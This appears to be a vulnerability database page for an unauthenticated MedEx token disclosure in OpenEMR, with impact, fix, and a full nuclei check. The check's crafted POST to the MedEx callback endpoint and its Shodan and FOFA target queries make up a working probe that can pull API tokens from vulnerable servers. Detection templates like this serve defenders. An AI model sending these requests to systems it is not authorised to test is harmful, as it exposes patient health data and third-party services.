Browse / CVEs / CVE-2026-24898
CVE-2026-24898· open-emr / openemr· CWE-200, CWE-306
OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure
criticalseverity
10CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it
OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.
Impact
Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.
Fix
Upgrade to version 8.0.0 or later.
How to confirm it
Send: GET /composer.json
Positive when: status_code == 200 and contains(body, "openemr") and compare_versions(version, "< 8.0.0")
Send: GET /library/MedEx/MedEx.php
Positive when: contains(body, "Not logged in:") and !contains(body, "\"error\"")
Send: POST /library/MedEx/MedEx.php
Positive when: status_code == 200 and contains(content_type, "json") and contains(body, "\"token\"") OR status_code == 200 and contains(content_type, "json") and regex("^\\s*false\\s*$", body)Run it with nuclei: nuclei -id CVE-2026-24898 -u <target>
The full check
id: CVE-2026-24898
info:
name: OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure
author: Securin
severity: critical
description: |
OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.
impact: |
Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.
remediation: |
Upgrade to version 8.0.0 or later.
reference:
- https://github.com/openemr/openemr/security/advisories/GHSA-qwff-3mw7-7rc7
- https://nvd.nist.gov/vuln/detail/CVE-2026-24898
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2026-24898
epss-score: 0.02422
epss-percentile: 0.84317
cwe-id: CWE-200,CWE-306
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: open-emr
product: openemr
shodan-query: http.title:"OpenEMR"
fofa-query: title="OpenEMR"
tags: cve,cve2026,openemr,auth-bypass,unauth,exposure,intrusive
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /composer.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "openemr")'
- 'compare_versions(version, "< 8.0.0")'
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: version
internal: true
regex:
- '"version"\s*:\s*"([0-9]+\.[0-9]+\.[0-9]+)"'
- raw:
- |
GET /library/MedEx/MedEx.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "Not logged in:")'
- '!contains(body, "\"error\"")'
condition: and
internal: true
- raw:
- |
POST /library/MedEx/MedEx.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
callback_key={{randstr}}
matchers-condition: or
matchers:
- type: dsl
name: token-disclosed
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains(body, "\"token\"")'
condition: and
- type: dsl
name: auth-bypass
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'regex("^\\s*false\\s*$", body)'
condition: andReferences
- https://github.com/openemr/openemr/security/advisories/GHSA-qwff-3mw7-7rc7
- https://nvd.nist.gov/vuln/detail/CVE-2026-24898
Use this check only on systems you are authorised to test. Where the data comes from